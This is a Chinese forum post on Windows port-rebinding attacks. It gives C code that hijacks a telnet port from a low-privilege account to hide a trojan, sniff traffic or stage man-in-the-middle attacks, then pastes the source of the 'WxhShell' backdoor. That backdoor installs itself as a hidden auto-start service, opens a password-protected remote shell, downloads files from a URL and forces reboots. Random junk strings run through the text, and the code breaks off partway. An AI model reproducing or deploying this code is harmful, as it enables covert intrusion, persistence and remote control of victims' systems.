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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `TAcZl=8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B'!PJj  
G tG&yeB  
  saddr.sin_family = AF_INET; TXx'7[  
yX3PUO9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >]^>gUmq  
G1p43  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .r(^h/IF  
17|@f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 M,ppCHy/$  
FSFFk~  
  这意味着什么?意味着可以进行如下的攻击: {$3j/b  
Cv0&prt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8>2&h  
BQE{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pEY>A_F  
*ZX!EjICk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P_v0))n{  
NYGmLbq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]v<d0" 2  
_`slkw P.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jk%'mEGE  
Al=(sHc'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0T1HQ  
G OH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QCVsVG!sN  
poTl|y @  
  #include +}kO ;\  
  #include ]Jja  
  #include 0`V3s]%iu  
  #include    OiYNH~hv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z|Hy>|+  
  int main() mx:J>SPA8  
  { qPL^zM+  
  WORD wVersionRequested; Czq1 kz  
  DWORD ret;  Y>xi|TWN  
  WSADATA wsaData; MV% :ES?  
  BOOL val; lv=yz\  
  SOCKADDR_IN saddr; BhOXXa{B  
  SOCKADDR_IN scaddr; @47[vhE  
  int err; VfQMFb',o  
  SOCKET s; tniPEmeS  
  SOCKET sc; 9Q,Msl4n  
  int caddsize; MF f05\aDu  
  HANDLE mt; |\i:LG1  
  DWORD tid;   HyZVr2  
  wVersionRequested = MAKEWORD( 2, 2 ); Uzan7A  
  err = WSAStartup( wVersionRequested, &wsaData ); #>7')G  
  if ( err != 0 ) { ZM dM_i?  
  printf("error!WSAStartup failed!\n"); z\xiACIc  
  return -1; L 2[Ei|9_  
  } 2N L:\%wz  
  saddr.sin_family = AF_INET; NvQY7C  
   _fVh%_oH1  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 * i=?0M4S  
9 Q0#We*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ):/<H  
  saddr.sin_port = htons(23); S^3g]5YX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 34X(J-1\|i  
  { uAW*5 `[  
  printf("error!socket failed!\n"); nQ:ml  
  return -1; A8_\2'b  
  } r24\DvS  
  val = TRUE; bs<WH`P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P@gu~!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OVDMC4K2z!  
  { &(5^v w<0  
  printf("error!setsockopt failed!\n"); K[iY{  
  return -1; 8L]gQ g  
  } Q\&AlV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I>< 99cwFI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }V1DyLg :  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O vyB<r  
2 ||KP|5@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *b$z6.  
  { DiZ!c "$  
  ret=GetLastError(); LU-#=1Q  
  printf("error!bind failed!\n"); "-0pz\a  
  return -1; N:UDbLjw~  
  } x?k  
  listen(s,2); V\iIvBpWg  
  while(1) <6d{k[7fz)  
  { )z ?&" I  
  caddsize = sizeof(scaddr); 1jZDw~  
  //接受连接请求 >)AE |j`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z/eU^2V  
  if(sc!=INVALID_SOCKET) 7|h3.  
  { sx;V,"Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H3p4,Y}'#  
  if(mt==NULL) tj"v0u?zW  
  { *sc0,'0  
  printf("Thread Creat Failed!\n"); ^'C,WZt  
  break; Vz7w{HY  
  } ;qMnO_ E  
  } Ovl?j&8  
  CloseHandle(mt); 2;Y@3d:z  
  } giPhW>  
  closesocket(s); )|{1&F1  
  WSACleanup();  rvwl  
  return 0; 'y+bx?3Z  
  }   %U=S6<lbj;  
  DWORD WINAPI ClientThread(LPVOID lpParam) i-i}`oN  
  { }C`}wS3i  
  SOCKET ss = (SOCKET)lpParam; :o.x=c B  
  SOCKET sc; PO1:9  
  unsigned char buf[4096]; >'2w\Uk~:  
  SOCKADDR_IN saddr; }<}`Q^Mlk  
  long num; SBN_>;$c5}  
  DWORD val; Sob $j  
  DWORD ret; lH,]ZA./  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <QkN}+B=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )L(d$N=Bd  
  saddr.sin_family = AF_INET; !F7EAQn{(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Pw^c2TQ  
  saddr.sin_port = htons(23); Zs3]|bUR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Pfx_+  
  { :~0^ib<v;  
  printf("error!socket failed!\n"); ?*z( 1!  
  return -1; v'bd.eqw  
  } {'c%#\  
  val = 100; {>UMw>T[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :m)Rmwn_  
  { -}N\REXE  
  ret = GetLastError(); LDi ez i  
  return -1; k`2B9,z  
  } u\1Wkxj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?{.b9`  
  { } ^GV(]K  
  ret = GetLastError(); v_@#hf3  
  return -1; \HP,LH[P:  
  } xV n]m9i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =:n[{/O=  
  { iM\ Z J6  
  printf("error!socket connect failed!\n"); #/B~G.+(  
  closesocket(sc); "-j@GCme  
  closesocket(ss); wJeqa  
  return -1; M#lVPXS  
  } /m{?o  
  while(1) '/yx_R K2?  
  { Dho^^<`c+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VQ,\O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4G;`KqR@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vu.S>2Wv  
  num = recv(ss,buf,4096,0); MBYD,v&  
  if(num>0) R SWB!-  
  send(sc,buf,num,0); O'& \-j 1  
  else if(num==0) 4KSP81}/\  
  break; l&^[cR  
  num = recv(sc,buf,4096,0); WfjUJw5x"s  
  if(num>0) #;*ai\6>vD  
  send(ss,buf,num,0); ^%*{:0'  
  else if(num==0) %wjU^Urya  
  break; J*lYH]s  
  } ZV<y=F*~f  
  closesocket(ss); GLKN<2|2@y  
  closesocket(sc); ubCJZ"!  
  return 0 ; \$HB~u%dr  
  } r+#V{oE_  
@n;YF5  
@%@^5  
========================================================== %k;FxUKi  
bd 1J#V]  
下边附上一个代码,,WXhSHELL n$![b_)*  
7E6?)bgh  
========================================================== J0WXH/:  
QsF<=b~  
#include "stdafx.h" MdoWqpC  
x#gmliF  
#include <stdio.h> oJp_c  
#include <string.h> $XU$?_O  
#include <windows.h> "vRqtEBO@  
#include <winsock2.h> 6exlb:  
#include <winsvc.h> Tx?@* Q  
#include <urlmon.h> :ktX7p~  
e"H+sM26-  
#pragma comment (lib, "Ws2_32.lib") eWk2YP!  
#pragma comment (lib, "urlmon.lib") ];}|h|q/{}  
Rw=E_q{  
#define MAX_USER   100 // 最大客户端连接数 YK+Z0ry  
#define BUF_SOCK   200 // sock buffer 5sCk y)N  
#define KEY_BUFF   255 // 输入 buffer L2O57rT2  
_ktSTzH0  
#define REBOOT     0   // 重启 WI 4_4  
#define SHUTDOWN   1   // 关机 U)%u`C0  
5F+ f'~  
#define DEF_PORT   5000 // 监听端口 #<>E+r+  
PWD]qtr  
#define REG_LEN     16   // 注册表键长度 RkV3_c  
#define SVC_LEN     80   // NT服务名长度 9*Twx&  
h=y(2xA  
// 从dll定义API b2f2WY |z>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K~%5iVO~\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WIl S^?5I<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VQ;- dCV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %7wzGtM]ps  
XBt0Ez  
// wxhshell配置信息 0H]9$D  
struct WSCFG { ]Oh>ECA|D  
  int ws_port;         // 监听端口 (qONeLf%  
  char ws_passstr[REG_LEN]; // 口令 7IW7'klkvD  
  int ws_autoins;       // 安装标记, 1=yes 0=no e/D\7Pf  
  char ws_regname[REG_LEN]; // 注册表键名 %a^!~qV  
  char ws_svcname[REG_LEN]; // 服务名 Ip\g ^ia  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K{h]./%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jpnp'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pnb$lpxt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g8@HAV^H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {"(|oIo{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ds5&5&af  
-xEg"dY/  
}; }slEkpk? ]  
[/^g) ^s:  
// default Wxhshell configuration fb=vO U  
struct WSCFG wscfg={DEF_PORT, yf>,oNIAg  
    "xuhuanlingzhe", zMg^2{0L  
    1, yG_.|%e  
    "Wxhshell", OVK(:{PwS  
    "Wxhshell", &1n0(qB  
            "WxhShell Service", Ps,w(k{d  
    "Wrsky Windows CmdShell Service", <"9Z7" >  
    "Please Input Your Password: ", Ase1R=0  
  1, RS=7W._W  
  "http://www.wrsky.com/wxhshell.exe", 9uo\&,,  
  "Wxhshell.exe" 7cSvAX0Z.  
    }; Fd0FG A&L  
Qd=/e pkm  
// 消息定义模块 05DtU!3O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #jR?C9&!(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I*t}gvUt9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VJPPHJ[-  
char *msg_ws_ext="\n\rExit."; 3c"{Wu-}  
char *msg_ws_end="\n\rQuit."; zy5bDL -  
char *msg_ws_boot="\n\rReboot..."; 4K,&Q/Vdd7  
char *msg_ws_poff="\n\rShutdown..."; ";%1sK  
char *msg_ws_down="\n\rSave to "; 7] H4E.(l  
P|4a}SWU  
char *msg_ws_err="\n\rErr!";  yw^, @'  
char *msg_ws_ok="\n\rOK!"; 7wiu%zfa:=  
svII =JB  
char ExeFile[MAX_PATH]; z(` kWF1<  
int nUser = 0; }\*|b@)]  
HANDLE handles[MAX_USER]; F U%b"gP^  
int OsIsNt; 4cL=f  
7X"cu6%\  
SERVICE_STATUS       serviceStatus; JD .z}2+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^^mi@&ApLD  
e;v2`2z2  
// 函数声明 VzNH%  
int Install(void); T!AQJ:;1  
int Uninstall(void); nfR5W~%*:  
int DownloadFile(char *sURL, SOCKET wsh); *0tNun 5=3  
int Boot(int flag); ^8*.r+7p  
void HideProc(void); ?z.`rD$}(n  
int GetOsVer(void); R2{X? 2|$  
int Wxhshell(SOCKET wsl); _t7A'`Dh]  
void TalkWithClient(void *cs); fNumY|%3  
int CmdShell(SOCKET sock); #=c%:{O{4R  
int StartFromService(void); UHwrssX&3  
int StartWxhshell(LPSTR lpCmdLine); 0Oq1ay^  
n1V*VQV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6I<`N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yy5F'RY  
?6gI8K6X  
// 数据结构和表定义 `,z{70  
SERVICE_TABLE_ENTRY DispatchTable[] = :nn'>  
{ U/;Vge8{  
{wscfg.ws_svcname, NTServiceMain}, N[%IrN3  
{NULL, NULL} Yp$lc^)c>  
}; Tbw8#[6AX  
]H*=Z:riu  
// 自我安装 3FfS+q*3S  
int Install(void) p;HZA}p \  
{ Wh7nli7f_  
  char svExeFile[MAX_PATH]; 7Udr~ 0_)  
  HKEY key; }0o0"J-$  
  strcpy(svExeFile,ExeFile); Z~ (QV0}  
CS  
// 如果是win9x系统,修改注册表设为自启动 ^B7Aam  
if(!OsIsNt) { 5;+Bl@zGu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4?cg6WJ'6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YZd4% zF  
  RegCloseKey(key); : s35{K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x$t=6@<]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DuaOi1Gw  
  RegCloseKey(key); \4 DH&gZ[  
  return 0; H Zc;.jJ  
    } 6[i-Tl  
  }  zcc]5>  
} 4f+Ke*^[RA  
else { GauIe0qV  
o_S8fHqjt  
// 如果是NT以上系统,安装为系统服务 {|50&]m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q>?oV(sF  
if (schSCManager!=0) L))(g][;  
{ L3S,*LnA  
  SC_HANDLE schService = CreateService UCFef,VW  
  ( dCBJV  
  schSCManager, iqpy5  
  wscfg.ws_svcname, rTcH~s D`  
  wscfg.ws_svcdisp, cK""Xz&m  
  SERVICE_ALL_ACCESS, uKplPze?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /h;X1Htx}  
  SERVICE_AUTO_START, :%{8lanO  
  SERVICE_ERROR_NORMAL, DLVf7/=3~  
  svExeFile, R lv|DED$  
  NULL, 3 ;&N3:,X  
  NULL, dPS}\&1  
  NULL, Tg[+K+b  
  NULL, :`d& |BB  
  NULL Oo,<zS=ICk  
  ); aX~7NslR  
  if (schService!=0) z}Q54,9m  
  { o(}vR<tD\  
  CloseServiceHandle(schService); V`G]4}  
  CloseServiceHandle(schSCManager); yzYPT}t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l+@NjZGm<  
  strcat(svExeFile,wscfg.ws_svcname); <~]s+"oVc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E[ ,Ur`>:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .Sm7na K  
  RegCloseKey(key); SJL?(S*  
  return 0; V7.EDE2A3  
    } P66>w})@  
  } '/mwXvl  
  CloseServiceHandle(schSCManager); I~Ziq10  
} &<4Jyhm:o  
} 60*=Bs%b  
"gYn$4|R7*  
return 1; 94A re<  
} rB-&'#3%  
1aKY+4/G  
// 自我卸载 ?EdF&^[3rD  
int Uninstall(void) VCtj8hKDr  
{ E` BL3+kQ  
  HKEY key; Y*0mC"n}  
HqOzArp3  
if(!OsIsNt) { |GLa `2q|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zl$'W=[rFs  
  RegDeleteValue(key,wscfg.ws_regname); kLK}N>v}X  
  RegCloseKey(key); n"* A.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BTqY _9  
  RegDeleteValue(key,wscfg.ws_regname); h",kA(+P  
  RegCloseKey(key); du  Pzt  
  return 0; w!7Hl9BW  
  } wP29 xV"5  
} pwr,rAJ}$j  
} ~m'PAC"Q$  
else { JHBX'1GQa  
MqRpG5 .  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M, f6UYo=  
if (schSCManager!=0) rxJmK$qd  
{ sk6C/ '0:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .*+%-%CbP  
  if (schService!=0) >La!O~d  
  { rZEL7{  
  if(DeleteService(schService)!=0) { !/2u O5  
  CloseServiceHandle(schService); < j^8L^  
  CloseServiceHandle(schSCManager); 0CX2dk"UB^  
  return 0; MF69n,(o  
  } K?`Fpg (  
  CloseServiceHandle(schService); Fu].%`*xJ  
  } DvhJkdLB>  
  CloseServiceHandle(schSCManager); [z=KHk  
} ap,%)on^  
}  UDl[  
CEzwI _  
return 1; xvU@,bzz  
} N;gI %6  
h'%iY6!fA  
// 从指定url下载文件 6ZKSet8  
int DownloadFile(char *sURL, SOCKET wsh) `3GYV|LeQ  
{ PaIE=Q4gJ  
  HRESULT hr; l7vU{Fd-h^  
char seps[]= "/"; I8M^]+c  
char *token; apmZ&Ab  
char *file; 4TX~]tEyky  
char myURL[MAX_PATH]; ;l4 epN  
char myFILE[MAX_PATH]; GE?M. '!{{  
oQ YmywY  
strcpy(myURL,sURL); nz+k ,  
  token=strtok(myURL,seps); A43 mX !g\  
  while(token!=NULL) dK.k,7R  
  { iTUOJ3V7i  
    file=token; 3Q;XvrGA  
  token=strtok(NULL,seps); ;fi H=_{us  
  } #ATV#/hW  
u]`ur#_  
GetCurrentDirectory(MAX_PATH,myFILE); 5|:t$  
strcat(myFILE, "\\"); [cfKvROG  
strcat(myFILE, file); ,;%F\<b  
  send(wsh,myFILE,strlen(myFILE),0); Z2@_F7cXt  
send(wsh,"...",3,0); #"&<^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &-R(u}m-F  
  if(hr==S_OK) V)q|U6R  
return 0; MeCHn2zwB  
else mssCnr;  
return 1; ~3'}^V\  
']Z1nb  
} dAba'|Y  
1[4 2f#  
// 系统电源模块 #I &#x59  
int Boot(int flag) D2N<a=#  
{ zb_nU7Eg  
  HANDLE hToken; iCX Ki7  
  TOKEN_PRIVILEGES tkp; ZkA05wPZ#  
JnodDH ?  
  if(OsIsNt) { VV'*3/I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "~+? xke5z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J>w3>8!>7  
    tkp.PrivilegeCount = 1; JbR;E`8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G _1`NyI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P&$ m2^K  
if(flag==REBOOT) { 8 o^ h\9I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) **KkPjAO?  
  return 0; Ew,1*WK!  
} x )w6  
else { D}i_#-^MH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6R=dg2tKT  
  return 0; '.$va<  
} + 7~u_J  
  } =}pPr]Cc  
  else { :i};]pR   
if(flag==REBOOT) { qZ=%r u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P \k5%  
  return 0; 99/`23YL  
} UB9n7L(@c  
else { IUZ@n0/T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I&Dp~aEM]  
  return 0; Ex`!C]sQ  
} &i{>Li  
} S`t@L}  
\2U FJ  
return 1; @!np 0#  
} K.l7yBm  
}]BH "  
// win9x进程隐藏模块 BXj]]S2  
void HideProc(void) drkY~!a  
{ bd & /B&a  
4n5r<?rY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7FB aN7l  
  if ( hKernel != NULL ) +BaZl<ZP1s  
  { 8~@?cy1j!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TDY2 M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @b@#  o  
    FreeLibrary(hKernel); GB&^<@  
  } }:zTz% _K  
@4FG & >kQ  
return; c8<qn+=%?  
} e{RhMjX<D  
"> ]{t[Ib  
// 获取操作系统版本 I/vQP+w O  
int GetOsVer(void) IizPu4|  
{ \#%1t  
  OSVERSIONINFO winfo; HA#9y;\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  |Ym3.hz  
  GetVersionEx(&winfo); #fQ}8UxU,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4apy{W  
  return 1; zxhE9 [`*e  
  else % Ix   
  return 0; 6aq=h`Y  
} Z^_-LX:%  
8nKb mjM  
// 客户端句柄模块 +ebmve \+  
int Wxhshell(SOCKET wsl) tOT(!yz  
{ vOV$Hle  
  SOCKET wsh; 'OjsV$_  
  struct sockaddr_in client; 2M$^|j:[  
  DWORD myID; @q/E)M?  
?j^:jV  
  while(nUser<MAX_USER) o4F?Rx,L  
{ 6(=>!+xpRr  
  int nSize=sizeof(client); `SM37({c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S:YQVj  
  if(wsh==INVALID_SOCKET) return 1; viXt]0  
jBLLx{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hztxsvw  
if(handles[nUser]==0) Zv|TvlyT"  
  closesocket(wsh); 1wTPT,k  
else LAjreC<W  
  nUser++; B$D7}=|kc  
  } 2R=Fc@MXs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yO*HJpc   
+DwE~l  
  return 0; H9+[T3b  
} W"[Q=$2<<  
SDHJX8Hq  
// 关闭 socket ?Jy /]j5fI  
void CloseIt(SOCKET wsh) >HL$=J_K?  
{ ^jB17z[  
closesocket(wsh); efX iZ  
nUser--; Y DWV=/  
ExitThread(0); 4Gor*{  
} ,qu7XFYrY  
`JzP V/6  
// 客户端请求句柄 {NTMvJLm  
void TalkWithClient(void *cs) +rWcfXOHM  
{ g|=1U  
G;he:Bf  
  SOCKET wsh=(SOCKET)cs; Z3qr2/  
  char pwd[SVC_LEN]; ~v|NC([(  
  char cmd[KEY_BUFF]; 'izv[{!n{  
char chr[1]; { YMO8  
int i,j; q#_<J1)z  
m bZn[D_zi  
  while (nUser < MAX_USER) { }CGA)yK~3  
%@MO5#)NI  
if(wscfg.ws_passstr) { b-?d(-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8z)J rO}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ZHDr[  
  //ZeroMemory(pwd,KEY_BUFF); 8/"R&yAh  
      i=0; :3A^5}iz  
  while(i<SVC_LEN) { 9r=yfc!cS  
E>isl"  
  // 设置超时 mTBSntZx  
  fd_set FdRead; DDBf89$\  
  struct timeval TimeOut; ,Fzuo:{uy  
  FD_ZERO(&FdRead); XDyFe'1I  
  FD_SET(wsh,&FdRead); MHQM'  
  TimeOut.tv_sec=8; 5gKXe4}\/|  
  TimeOut.tv_usec=0; ;U[W $w[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @B9O*x+n:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QP7N#mh  
BT|n+Y[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >=K~*$&>  
  pwd=chr[0]; R/P9=yvg0  
  if(chr[0]==0xd || chr[0]==0xa) { ~tZy-1  
  pwd=0; *0/%R{+S  
  break; zb. ^p X  
  } =|V[^#V  
  i++; Pf#DBW*  
    } Fd/Ra]@\Y  
yC\!6pg  
  // 如果是非法用户,关闭 socket |\T!,~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cig! 3  
} >uR;^B5m  
ZsN3 MbY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gr\vC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $D;-;5[-/r  
paZcTC  
while(1) { %ZT I ?a  
JlE b  
  ZeroMemory(cmd,KEY_BUFF); j"9Zaq_  
hx hs>eY  
      // 自动支持客户端 telnet标准   :Fdk`aC  
  j=0; ofuQ`g1hb  
  while(j<KEY_BUFF) { MZS/o3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N{?Qkkgx  
  cmd[j]=chr[0]; kk ZMoK  
  if(chr[0]==0xa || chr[0]==0xd) { V PI_pK  
  cmd[j]=0; 1i}p?sU  
  break; \:>eZl?  
  } T1M>N  
  j++; xbs X-F  
    } xPMX\aI|l  
Oee>d<  
  // 下载文件 Qk8YR5 K   
  if(strstr(cmd,"http://")) { LsaRw-4.c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q+Ya\1$6A  
  if(DownloadFile(cmd,wsh)) 5](,N^u{):  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `g'z6~c7n  
  else $O,IXA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S<>u  
  } oD_#oX5\  
  else { -9yWf8;  
28O3N;a  
    switch(cmd[0]) { T^H`$;\  
  a]=j  
  // 帮助 DHh30b$c  
  case '?': { g>H\"cUv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K!;>/3Y2-  
    break; +A<7:`sO  
  } 2qPQ3-'  
  // 安装 >qci $  
  case 'i': { ;xjw'%n,  
    if(Install()) v,Yz\onB^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0ae}!LO  
    else -}P/<cu:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e! 0Y`lQ  
    break; Mf`@X[-;  
    } T@j@IEGH  
  // 卸载 MJG)fFl] O  
  case 'r': { fe7DS)U  
    if(Uninstall()) v Yw$m#@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -4t!k Aw`  
    else v v]rXJu1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2IFEl-IB[  
    break; ePe/@g1K*  
    } G$CI~0Se:  
  // 显示 wxhshell 所在路径 Fo GSCg%  
  case 'p': { X XC(R  
    char svExeFile[MAX_PATH]; TbR!u:J  
    strcpy(svExeFile,"\n\r"); H6i;MQ  
      strcat(svExeFile,ExeFile); Q#sLIZ8=  
        send(wsh,svExeFile,strlen(svExeFile),0); UYsyVY`Fm|  
    break; 6F08$,%Y  
    } !z?;L_Lb  
  // 重启 Y1L7sH 9  
  case 'b': { @ \JoICz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H]&^>Pvh  
    if(Boot(REBOOT)) 5hE mXZ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $qfNEAmDf\  
    else { [ h~#5x  
    closesocket(wsh); v>p}f"$`  
    ExitThread(0); 75RQ\_zDu  
    } P> i lRb  
    break; o 9{~F`{p  
    } "D.`:9sk0  
  // 关机 LV$`bZ  
  case 'd': { FAF+}  
